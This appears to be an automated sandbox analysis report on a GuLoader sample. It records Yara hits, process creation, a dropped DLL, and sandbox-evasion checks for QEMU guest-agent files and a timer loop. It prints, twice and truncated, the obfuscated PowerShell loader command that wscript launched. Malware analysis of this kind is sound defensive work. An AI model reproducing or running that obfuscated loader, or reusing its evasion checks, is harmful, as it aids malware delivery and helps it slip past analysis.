Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Source:

Binary string: l8C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.pdb source: powershell.exe, 00000006.00000002.86750406025.0000000004961000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B45708 push C34C07A2h; ret
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B45640 push C34C07A2h; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E3CD8 push cs; retf 5356h
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_0111B492 push 84DC2881h; retf

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: powershell.exe, 00000006.00000002.86781234856.000000000734F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE,

Potential evasive VBS script found (use of timer() function in loop)

Source: Initial file

Initial file: do while timer-temp<sec

